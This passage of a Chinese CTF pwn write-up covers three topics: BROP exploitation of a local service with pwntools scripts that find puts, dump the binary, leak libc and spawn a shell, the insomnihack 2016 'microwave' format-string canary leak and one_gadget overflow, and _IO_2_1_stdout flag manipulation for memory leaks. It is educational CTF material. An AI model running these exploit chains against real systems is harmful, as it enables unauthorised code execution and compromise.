def get_puts_addr(buf_size, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 10001)
sh.recvuntil('password?\n')
payload = 'A' * buf_size + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
#call put to print the head of ELF.
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print("find puts@plt addr: 0x%x"%addr)
return addr
sh.close()
addr += 1
except EOFError as e:
sh.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

这里实际上找出来的地址并不是puts函数的plt表地址,而是在puts的plt表前面一点的内容,但是这一小段内容不影响栈和rdi寄存器,所以没什么影响。

6.利用puts函数和pop rdi;ret来dump二进制文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#注释头

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
sh = remote('127.0.0.1', 10001)
sh.recvline()
sh.sendline(payload)
data = sh.recv(timeout=0.1)
#timeout makes sure to recive all bytes
if data == "\n":#data = \x00
data = "\x00"
elif data[-1] == "\n":
#data = xxxxx\n\x00,data = \n\x00,data = xxxxx\x00
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
sh.close()
except:
log.info("Can't connect")
return result

由于puts 函数通过 \x00 进行截断,不会输出\x00,并且会在每一次输出末尾加上换行符\x0a ,所以有一些特殊情况需要做一些处理,比如单独的 \x00 、 \x0a 等。首先当然是先去掉末尾 puts 自动加上的 \n ,然后如果 recv 到一个 \n ,说明内存中是 \x00 ,如果 recv 到一个 \n\n ,说明内存中是\x0a 。 p.recv(timeout=0.1) 是由于函数本身的设定,如果有 \n\n ,它很可能在收到第一个 \n 时就返回了,加上参数可以让它全部接收完。

7.得到二进制文件后就是常规操作了,利用Dynelf或者LibcSearcher和puts函数找到system函数和binsh实际位置,之后通过pop rdi;ret来为system函数赋参数从而getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

sh = remote('127.0.0.1', 10001)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

这里的libcSearcher有时候不太好用,查到的libc不符合,或者是不对。还是DynElf好用一些,比较准确,并且由于是puts函数打印,所以可能需要单个字符来判断。但实际上64位条件下的got表中的地址一定是0x00007fxxxxxxxxxx,所以如果是大端情况,那么puts函数一定会截断,接收到的只会是xxxxxxxxxx7f和0a所以其实只要判断到换行符的时候就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

def leak(address):
data = ""
c=""
up = ""
payload = 'a' * length + p64(rdi_ret) + p64(address) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.send(payload)
while True:
c = p.recv(1)
if up == '\n' and c == "W":
data = data[:-1]
data += "\x00"
break
else:
data += c
up = c
data=data[:7]#实际有效地址只有6个字符
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data


dynelf = DynELF(leak, elf=ELF("./brop"))
system_addr = dynelf.lookup("__libc_system", "libc")

但是DynElf好像不能找binsh字符串,所以如果用这种方法那就还需要泄露read的真实地址,找个能写的地方将binsh写进去再调用,比较麻烦。所以能用libcSearcher可以先用来试试,函数,binsh字符串都能找,比较方便一点。

参考资料:

https://wiki.x10sec.org/pwn/linux/stackoverflow/medium-rop-zh/#brop

ctf-all-in-one

insomnihack CTF 2016-microwave

1.常规checksec,程序全部开启保护,并且有canary保护,从IDA中汇编代码和伪代码也可以看到:

(1)汇编代码:

①生成canary的代码:一般在函数初始化的时候就可以看到

1
2
3
4
#注释头

mov rax,fs:28h
mov [rsp+28h+var_20], rax

img

②校验:

1
2
3
4
5
#注释头

mov rax, [rsp+28h+var_20]
xor rax, fs:28h
jnz short func

img

(2)伪代码:

1
2
3
4
#注释头

v_canary = __readfsqword(0x28u);
return __readfsqword(0x28u) ^ v_canary;

有很多种形式,如下也是一种:

img

2.之后查找漏洞,找到两个漏洞:

(1)功能1的sub_F00函数中的printf存在格式化字符串漏洞:

1
2
3
#注释头

__printf_chk(1LL, a1);

这里的1LL不知道是个什么意思,但是实际效果仍然相当于是printf(a1),调试中可以知道。

(2)功能2的sub_1000存在栈溢出漏洞:

1
2
3
4
5
#注释头

__int64 v1; // [rsp+0h] [rbp-418h]
------------------------------------------------------
read(0, &v1, 0x800uLL);

3.现在是保护全开,栈溢出漏洞因为canary的关系没办法利用,唯一能利用的只有一个printf()函数,而且还没办法劫持got表,没办法进行完全栈操控。所以这里就想能不能通过printf函数泄露canary从而使得栈溢出这个漏洞派上用场。

4.首先调试,观察canary在栈上的偏移位置,调试断点下在sub_F00函数的printf函数上,因为这个sub_F00函数中也有canary的保护,那么该函数栈上一定存在canary的值。自己调试如下图:

img

IDA调试界面点击对应生成canary的代码mov [rsp+28h+var_20], rax中的[rsp+28h+var_20]就可以知道canary的位置应该是rsp+8h处,这里也可以看出来V6就是canary

另外由于这是64位程序,取参顺序是rdi, rsi, rdx, rcx, r8, r9, 栈,由于printf()前两个参数位rdi,rsi对应的是fd和&buf,

这里的buf就是我们输入的username,因为username的输入保存在堆上main函数中有声明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

void *v4; // r12
----------------------------------------------------------------
v4 = malloc(0x3EuLL);
-------------------------------------------------------------------
fwrite(" username: ", 1uLL, 0x15uLL, stdout);
fflush(0LL);
fgets((char *)v4, 40, stdin);
--------------------------------------------------------------------
fwrite(" password: ", 1uLL, 0x15uLL, stdout);
fflush(0LL);
v3 = 20LL;
fgets((char *)v4 + 40, 20, stdin);
------------------------------------------------------------------------
sub_F00((__int64)v4);
--------------------------------------------------------------------
unsigned __int64 __fastcall sub_F00(__int64 a1)
-------------------------------------------------------------------
__printf_chk(1LL, a1);

下图是没有打印之前的内容:

img

我们可以看到rsi的值是5开头的,这其实就是一个堆内存地址,调试过程中输入跳转就可以看到该地址对应的内容就是我们的输入username的值。那么输入username时输入多个%p,触发格式化字符串漏洞,打印寄存器和栈上的内容,泄露出libc地址和canary。printf()依次根据%p打印的参数顺序是rdx,rcx,r8,r9,栈。所以r9之后第一个打印出来的数据是rsp-8h,也就是canary的值,这样就可以得到泄露的canary的值,从而控制栈溢出。同时我们可以发现打印出来的数据中包含libc中的函数,这样同时也泄露出来了libc加载后的地址,之后通过偏移计算出基地址。

5.之后进行栈溢出操控,但是这里如果连不上账户会没办法使用sub_1000函数,用IDA查看可以看到在sub_f00函数中对密码进行检查,可直接查看到密码:

img

这个off_204010就是密码,点进去就可以看到。

由之前步骤可以得到canary和libc基地址。查询之后可以发现由于retn前会检查canary,对应汇编代码是:

xor rax, fs:28h

那么如果canary输入成功,xor之后会使得rax一定为0,满足该libc库的Onegadget条件,所以这里可以直接使用Onegadget:

1
2
3
4
5
6
7
8
9
#注释头

payload = "A"*1032 #padding
payload += p64(canary) #正确的canary
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE
io.sendline('2') #使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

利用IO_FILE泄露地址

IO_FILE的具体结构和功能在FSOP中写过,这里主要关注下其中的打印函数_IO_2_1_stdout的相关利用,通常用来在堆利用时,由于没有show之类的打印堆块内容的选项,导致无法泄露libc地址的情况。

前言

这里的_flags在_IO_2_1_stdout结构体中,一旦我们想要通过_IO_2_1_stdout来打印指定内存地址的内容,就需要对_flags的值进行设置,绕过一些检查,才能最终进入_IO_SYSWRITE函数打印。

1._IO_new_file_overflow检查:

条件一

不能进入,判断语句需要为假,否则直接返回EOF了。

1
2
3
4
5
6
7
8
#注释头

if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}

需要满足条件:f->_flags & _IO_NO_WRITES == false

条件二

不能进入,判断语句需要为假

1
2
3
#注释头

if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

因为这里一旦进入,就会有一个初始化指针的操作,导致我们的_IO_write_base被覆盖,从而无法输出想要的地址的内容。

需要满足条件:((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) == false

之后就跳到如下语句:

1
2
3
4
#注释头

if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);

进入_IO_do_write函数。

2._IO_do_write检查:

▲由于如下定义:libc_hidden_ver (_IO_new_do_write, _IO_do_write),该函数成了_IO_new_do_write函数,定义如下:

1
2
3
4
5
6
7
#注释头

_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}

这个函数中没什么操作,直接进入到new_do_write函数.

3.new_do_write检查:

1
2
3
4
#注释头

if (fp->_flags & _IO_IS_APPENDING)
else if (fp->_IO_read_end != fp->_IO_write_base)

这里其实不太明白,很多地方说要满足其中一个才能进入到实际调用打印的系统函数:

1
2
3
#注释头

count = _IO_SYSWRITE (fp, data, to_do);

但是我认为if和else if都绕过应该也可以运行到count的执行语句,不知道是不是因为需要设置fp->_offset才能打印,那如果是的话,控制_IO_2_1_stdout的结构体不也能设置fp->_offset的值吗。

(1)针对if (fp->_flags & _IO_IS_APPENDING):

这个可以进入,影响不大

1
2
3
4
#注释头

if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;

(2)针对else if (fp->_IO_read_end != fp->_IO_write_base)

这个不太能够进入,因为该语句如下:

1
2
3
4
5
6
7
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}

因为_IO_SYSSEEK可能会执行错误,崩溃,无法到达count的执行语句。而且fp->_IO_read_end != fp->_IO_write_base判断语句满足的概率相当大,这就导致如果第一个if不进入,那么第二个else if就有很大概率进入,然后就可能会崩溃。所以在只能设置flags值的情况下还是进入第一个If语句是最好的选择。

所以需要满足条件:fp->_flags & _IO_IS_APPENDING == true

▲后面才想明白是因为如果只设置flags的话,而_IO_read_end和_IO_write_base的值无法控制的情况下,最好使程序流进去if (fp->_flags & _IO_IS_APPENDING)语句,而不要使程序流进入else if语句。

4.综上三个条件:

1
2
3
4
5
#注释头

f->_flags & _IO_NO_WRITES == FALSE
((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) == FALSE
fp->_flags & _IO_IS_APPENDING == TRUE

再加上flags值的相关宏定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

//高16位
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000

//低16位
-------------------------------------------------------------------
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

flags的高16位为_IO_MAGIC,基本固定,由libc确定,不同版本可能有差异。后面低16位分别对应不同的表示。

可得最终的flags应该为0xFBAD1800,其实也不一定非得是这个值,只要满足以上所列的条件即可:

f->flag & 0xa00 and f->flag & 0x1000 == 1以及f->write_base != f->write_ptr

最后设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的位置即可。

▲这里需要注意的是_IO_CURRENTLY_PUTTING标志位在程序已经有打印过东西的情况下就已经是1了,没有打印过则为0。